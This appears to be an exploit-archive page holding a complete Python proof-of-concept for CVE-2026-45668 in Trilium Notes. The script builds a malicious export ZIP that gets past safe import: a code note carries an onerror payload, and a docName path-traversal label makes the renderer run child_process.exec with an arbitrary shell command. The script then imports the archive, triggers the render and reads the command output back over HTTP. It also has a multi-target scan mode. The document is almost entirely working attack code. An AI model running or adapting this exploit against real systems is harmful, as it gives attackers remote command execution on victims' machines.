Share
## https://sploitus.com/exploit?id=PACKETSTORM:227414
#!/usr/bin/env python3
    """
    CVE-2026-45668 - Trilium Notes: Note Import to RCE via #docName Path Traversal
                     (Safe Import Bypass)
    Affected: Trilium Notes (TriliumNext) desktop client, all versions <= 0.102.1
    Type: RCE (path traversal CWE-22 + stored XSS CWE-79 into a nodeIntegration Electron renderer)
    
    A malicious Trilium export ZIP, imported with "safe import" enabled, achieves
    arbitrary OS command execution on the victim's desktop. The chain:
    
      1. A payload note (type=code, mime=text/plain) stores raw HTML with an inline
         `onerror` handler. Safe import only sanitises type=text notes, so a code note
         is stored verbatim - the event handler survives.
      2. Its noteId begins with "_", which pre-0.102.2 import preserved verbatim, so the
         attacker knows the post-import URL: /api/notes/_doc_xss_payload/open
      3. A trigger note (type=doc) carries a `docName` label. That label was not marked
         dangerous, so safe import kept it live.
      4. The doc renderer's getUrl() interpolates docName into a URL with no validation.
         A value of `../../../../api/notes/_doc_xss_payload/open?x=` traverses out of the
         doc directory and points jQuery `.load()` straight at the payload note. The
         trailing `?x=` pushes the unconditionally-appended `.html` into the query string.
      5. jQuery `.load()` hardcodes dataType=html and injects the response as DOM,
         ignoring the text/plain Content-Type.
      6. nodeIntegration:true + contextIsolation:false put `require` in the renderer's
         global scope, so the injected `onerror` runs require("child_process").exec().
    
    Fixed in 0.102.2 (validate docName, mark docName dangerous, stop preserving
    "_"-prefixed noteIds).
    
    This exploit is fully network-driven: it speaks only to the target's HTTP API and
    reads the executed command's output back over HTTP (the injected payload writes the
    output into a second note that this tool then fetches). No container access, no
    DevTools, no local privilege on the target is used.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 37840
      python exploit.py --host 127.0.0.1 --port 37840 --command "uname -a; id"
      python exploit.py --host https://notes.corp.com
      python exploit.py --host http://10.0.0.5:37840/notes
      python exploit.py --list targets.txt --workers 20
    
    Note: the Trilium desktop client normally binds its API to 127.0.0.1 only. This tool
    targets that API wherever it is reachable (an exposed port, an SSH/socat forward, a
    reverse proxy). Against a real victim the import + trigger is what the malicious ZIP
    plus a single note click accomplishes; this tool automates the same two API actions.
    """
    
    import argparse
    import base64
    import io
    import json
    import os
    import re
    import ssl
    import sys
    import time
    import zipfile
    from http.cookiejar import CookieJar
    from urllib.parse import urlparse
    import urllib.request
    import urllib.error
    
    CVE_ID    = "CVE-2026-45668"
    VULN_TYPE = "RCE"
    
    DEFAULT_PORT   = 37840
    PAYLOAD_NOTE   = "_doc_xss_payload"   # leading "_" => noteId preserved on vulnerable import
    OUTPUT_NOTE    = "_doc_xss_output"    # where the payload writes captured command output
    TRIGGER_NOTE   = "_doc_xss_trigger"   # type=doc note that carries the traversal docName label
    DOCNAME_VALUE  = "../../../../api/notes/%s/open?x=" % PAYLOAD_NOTE  # 4x ../ = production assetPath
    FIXED_VERSION  = (0, 102, 2)
    RCE_BEGIN      = "__RCE_BEGIN__"
    RCE_END        = "__RCE_END__"
    POLL_SECONDS   = 20
    
    
    # --------------------------------------------------------------------------- #
    #  Standard ALIM output helpers
    # --------------------------------------------------------------------------- #
    def header(host, port):
        print("\n%s" % ("=" * 60))
        print("  ALIM EXPLOIT  %s" % CVE_ID)
        print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
        print("%s\n" % ("=" * 60))
    
    
    def step(n, msg):
        print("[STEP %d] %s" % (n, msg))
    
    
    def section(label, content):
        print("\n--- %s ---" % label)
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n%s" % ("=" * 60))
        print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: %s" % evidence)
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Minimal stdlib HTTP client (cookies + TLS-insecure, no third-party deps)
    # --------------------------------------------------------------------------- #
    class HttpClient(object):
        """Cookie-aware HTTP client over a single base URL. Stdlib only."""
    
        def __init__(self, base_url, timeout=15):
            self.base = base_url.rstrip("/")
            self.timeout = timeout
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            self.jar = CookieJar()
            self.opener = urllib.request.build_opener(
                urllib.request.HTTPSHandler(context=ctx),
                urllib.request.HTTPCookieProcessor(self.jar),
            )
    
        def _url(self, path):
            if path.startswith("http://") or path.startswith("https://"):
                return path
            if not path.startswith("/"):
                path = "/" + path
            return self.base + path
    
        def request(self, method, path, body=None, content_type=None, headers=None):
            req = urllib.request.Request(self._url(path), data=body, method=method)
            req.add_header("User-Agent", "ALIM-%s" % CVE_ID)
            if content_type:
                req.add_header("Content-Type", content_type)
            if headers:
                for k, v in headers.items():
                    req.add_header(k, v)
            try:
                resp = self.opener.open(req, timeout=self.timeout)
                return resp.getcode(), resp.read()
            except urllib.error.HTTPError as e:
                return e.code, e.read()
    
        def get(self, path, headers=None):
            return self.request("GET", path, headers=headers)
    
        def post(self, path, body=None, content_type=None, headers=None):
            return self.request("POST", path, body=body, content_type=content_type, headers=headers)
    
    
    def multipart(fields, files):
        """Build a multipart/form-data body. files: {name: (filename, bytes, content_type)}."""
        boundary = "----ALIMBoundary" + os.urandom(16).hex()
        out = io.BytesIO()
    
        def w(s):
            out.write(s.encode() if isinstance(s, str) else s)
    
        for name, value in fields.items():
            w("--%s\r\n" % boundary)
            w('Content-Disposition: form-data; name="%s"\r\n\r\n' % name)
            w("%s\r\n" % value)
        for name, (filename, data, ctype) in files.items():
            w("--%s\r\n" % boundary)
            w('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (name, filename))
            w("Content-Type: %s\r\n\r\n" % ctype)
            w(data)
            w("\r\n")
        w("--%s--\r\n" % boundary)
        return out.getvalue(), "multipart/form-data; boundary=%s" % boundary
    
    
    # --------------------------------------------------------------------------- #
    #  Payload / archive construction
    # --------------------------------------------------------------------------- #
    def build_payload_html(command):
        """Injected HTML. The onerror handler runs the command in the Node-privileged
        renderer, then PUTs the captured stdout/stderr into OUTPUT_NOTE so it can be
        retrieved over HTTP. The command is base64-wrapped so any shell metacharacters
        survive the HTML attribute and the JS string literal untouched."""
        b64 = base64.b64encode(command.encode()).decode()
        inner = "echo %s | base64 -d | sh" % b64          # b64 is quote-free
        # Every JS string literal uses DOUBLE quotes so it is safe inside the
        # single-quoted onerror attribute.
        js = (
            'var cp=require("child_process");'
            'cp.exec("%s",function(e,o,r){'
            'var b="%s\\n"+String(o)+String(r)+"%s";'
            'var fd=new FormData();'
            'fd.append("upload",new Blob([b],{type:"text/plain"}),"o");'
            'fetch("/api/notes/%s/file",{method:"PUT",'
            'headers:{"x-csrf-token":window.glob.csrfToken},body:fd});'
            '});'
        ) % (inner, RCE_BEGIN, RCE_END, OUTPUT_NOTE)
        return "<img src=x onerror='%s'>" % js
    
    
    def build_evil_zip(command):
        """Return bytes of a Trilium export ZIP that carries the full chain."""
        meta = {
            "formatVersion": 2,
            "appVersion": "0.101.3",
            "files": [{
                "dirFileName": "xss-demo",
                "title": "xss-demo",
                "type": "text",
                "mime": "text/html",
                "children": [
                    {
                        "noteId": PAYLOAD_NOTE,      # leading "_" => id preserved on <=0.102.1
                        "title": "payload",
                        "type": "code",             # NOT "text" => skips content sanitiser
                        "mime": "text/plain",       # => htmlSanitizer never runs on it
                        "dataFileName": "payload.txt",
                        "attributes": [],
                    },
                    {
                        "noteId": OUTPUT_NOTE,       # receives the command output over HTTP
                        "title": "output",
                        "type": "code",
                        "mime": "text/plain",
                        "dataFileName": "output.txt",
                        "attributes": [],
                    },
                    {
                        "noteId": TRIGGER_NOTE,
                        "title": "doc trigger",
                        "type": "doc",              # doc widget calls renderDoc() -> getUrl()
                        "mime": "",
                        "dataFileName": "trigger.txt",
                        "attributes": [{
                            "type": "label",
                            "name": "docName",      # not isDangerous on <=0.102.1 => survives safe import
                            "value": DOCNAME_VALUE,
                        }],
                    },
                ],
            }],
        }
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
            z.writestr("!!!meta.json", json.dumps(meta, indent=2))
            z.writestr("xss-demo/payload.txt", build_payload_html(command))
            z.writestr("xss-demo/output.txt", "PENDING")
            z.writestr("xss-demo/trigger.txt", "")
        return buf.getvalue()
    
    
    # --------------------------------------------------------------------------- #
    #  Core protocol steps (shared by verbose exploit() and silent _try_exploit())
    # --------------------------------------------------------------------------- #
    def _parse_version(v):
        m = re.match(r"(\d+)\.(\d+)\.(\d+)", str(v or ""))
        if not m:
            return None
        return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
    
    
    def bootstrap(client):
        """GET /bootstrap -> (csrf_token, version_str). Sets the _csrf cookie in the jar."""
        code, body = client.get("/bootstrap")
        if code != 200:
            raise RuntimeError("bootstrap HTTP %s" % code)
        data = json.loads(body.decode("utf-8", "replace"))
        return data.get("csrfToken"), data.get("triliumVersion")
    
    
    def import_zip(client, csrf, zip_bytes):
        fields = {
            "taskId": os.urandom(4).hex(),
            "last": "true",
            "safeImport": "true",           # the CVE is that safe import does NOT stop this
            "textImportedAsText": "true",
            "codeImportedAsCode": "true",
            "shrinkImages": "false",
            "explodeArchives": "true",
            "replaceUnderscoresWithSpaces": "false",
        }
        files = {"upload": ("evil.zip", zip_bytes, "application/zip")}
        body, ctype = multipart(fields, files)
        return client.post("/api/notes/root/notes-import", body=body,
                           content_type=ctype, headers={"x-csrf-token": csrf})
    
    
    def read_note(client, note_id):
        # ?x= keeps this identical to the traversal target the renderer fetches.
        return client.get("/api/notes/%s/open?x=.html" % note_id)
    
    
    def trigger_render(client, csrf):
        """Broadcast an openNote for the trigger note. Bounce via root first so the
        renderer registers a navigation change and re-runs renderDoc() even if it was
        already sitting on the trigger note."""
        client.post("/api/clipper/open/root", headers={"x-csrf-token": csrf})
        time.sleep(1)
        return client.post("/api/clipper/open/%s" % TRIGGER_NOTE, headers={"x-csrf-token": csrf})
    
    
    def extract_output(body_text):
        m = re.search(re.escape(RCE_BEGIN) + r"\n?(.*?)" + re.escape(RCE_END),
                      body_text, re.DOTALL)
        return m.group(1).strip() if m else None
    
    
    # --------------------------------------------------------------------------- #
    #  Verbose single-target exploit
    # --------------------------------------------------------------------------- #
    def exploit(host, port, use_tls, path, command):
        header(host, port)
        scheme = "https" if use_tls else "http"
        base = "%s://%s:%s%s" % (scheme, host, port, path.rstrip("/"))
        client = HttpClient(base)
    
        step(1, "Fetching /bootstrap for CSRF token and version...")
        try:
            csrf, version = bootstrap(client)
        except Exception as e:
            section("CONNECTION", "Could not reach Trilium API at %s (%s)" % (base, e.__class__.__name__))
            done(False, "Target unreachable or not a Trilium instance: %s" % e)
        if not csrf:
            done(False, "No CSRF token in /bootstrap response - not a Trilium desktop API")
        ver_t = _parse_version(version)
        section("TARGET", "Trilium version: %s   (fixed in 0.102.2)" % version)
        if ver_t and ver_t >= FIXED_VERSION:
            print("[!] Reported version is >= 0.102.2 - likely patched. Attempting anyway.\n")
    
        step(2, "Building malicious export ZIP (safe-import bypass payload)...")
        zip_bytes = build_evil_zip(command)
        print("    payload note: %s (type=code)  trigger docName: %s" % (PAYLOAD_NOTE, DOCNAME_VALUE))
    
        step(3, "Importing archive with safeImport=true ...")
        code, body = import_zip(client, csrf, zip_bytes)
        if code != 200:
            section("IMPORT RESPONSE", "%s %s" % (code, body[:300].decode("utf-8", "replace")))
            done(False, "Import rejected (HTTP %s)" % code)
        print("    import accepted (HTTP 200)")
    
        step(4, "Confirming payload note survived with its ID intact...")
        time.sleep(1)
        pcode, pbody = read_note(client, PAYLOAD_NOTE)
        ptext = pbody.decode("utf-8", "replace")
        if pcode == 404:
            section("PAYLOAD NOTE LOOKUP", "HTTP 404 - noteId '%s' was remapped on import." % PAYLOAD_NOTE)
            done(False, "Not vulnerable: '_'-prefixed noteId was randomised (patched, commit ed3b86c)")
        if pcode != 200 or "onerror" not in ptext:
            section("PAYLOAD NOTE LOOKUP", "HTTP %s\n%s" % (pcode, ptext[:300]))
            done(False, "Payload note not readable as expected - target likely patched")
        section("STORED PAYLOAD (unsanitised, served text/plain)", ptext)
        print("    defects proven: dangerous label survived safe import, code-note content")
        print("    never sanitised, and '_' noteId preserved -> traversal target is live.\n")
    
        step(5, "Triggering the doc renderer (path traversal -> DOM injection -> require)...")
        trigger_render(client, csrf)
    
        step(6, "Reading command output back over HTTP (polling output note)...")
        output = None
        deadline = time.time() + POLL_SECONDS
        while time.time() < deadline:
            ocode, obody = read_note(client, OUTPUT_NOTE)
            if ocode == 200:
                otext = obody.decode("utf-8", "replace")
                output = extract_output(otext)
                if output is not None:
                    break
            time.sleep(1)
    
        if output is None:
            section("OUTPUT NOTE", "No command output appeared within %ds." % POLL_SECONDS)
            done(False, "Payload injected but no command output returned - "
                        "content path may be patched or the render did not fire")
    
        section("COMMAND OUTPUT (executed in the Electron renderer over the network)", output)
        first = output.splitlines()[0].strip() if output.splitlines() else output.strip()
        done(True, "RCE confirmed - command '%s' output: %s" % (command, first))
    
    
    # --------------------------------------------------------------------------- #
    #  Silent probe for --list scan mode (non-destructive version fingerprint)
    # --------------------------------------------------------------------------- #
    def _try_exploit(host, port, use_tls, path="/", **kwargs):
        """Silent probe. Non-destructive: fingerprints the version via /bootstrap
        rather than importing a payload into every scanned host. Returns (bool, str)."""
        scheme = "https" if use_tls else "http"
        base = "%s://%s:%s%s" % (scheme, host, port, path.rstrip("/"))
        try:
            client = HttpClient(base, timeout=8)
            csrf, version = bootstrap(client)
        except Exception as e:
            return False, "unreachable (%s)" % e.__class__.__name__
        if not csrf:
            return False, "not a Trilium desktop API"
        ver_t = _parse_version(version)
        if ver_t is None:
            return False, "unknown version"
        if ver_t < FIXED_VERSION:
            return True, "vulnerable Trilium %s (< 0.102.2, safe-import RCE)" % version
        return False, "patched Trilium %s (>= 0.102.2)" % version
    
    
    # --------------------------------------------------------------------------- #
    #  Target parsing + scan mode
    # --------------------------------------------------------------------------- #
    def _parse_target(line, default_port, default_path="/"):
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line and not line.count(":") > 1:  # host:port (not IPv6)
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, command="id"):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print("\n%s" % ("=" * 60))
        print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
        print("  (non-destructive version fingerprint; use --host to fully exploit)")
        print("%s\n" % ("=" * 60))
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls = t[0], t[1], t[2]
            path = t[3] if len(t) > 3 else "/"
            label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
            ok, evidence = _try_exploit(host, port, use_tls, path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Vulnerable" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n%s" % ("=" * 60))
        print("  SCAN COMPLETE  %d vulnerable / %d not  (%d total)" %
              (success_count, total - success_count, total))
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:37840/path)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help="Default port (default: %d)" % DEFAULT_PORT)
        parser.add_argument("--command", default="id",
                            help="Shell command to execute on the target (default: id)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
        else:
            parsed = _parse_target(args.host, args.port)
            if parsed:
                host, port, use_tls = parsed[0], parsed[1], parsed[2]
                path = parsed[3] if len(parsed) > 3 else "/"
            else:
                host, port, use_tls, path = args.host, args.port, False, "/"
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.command)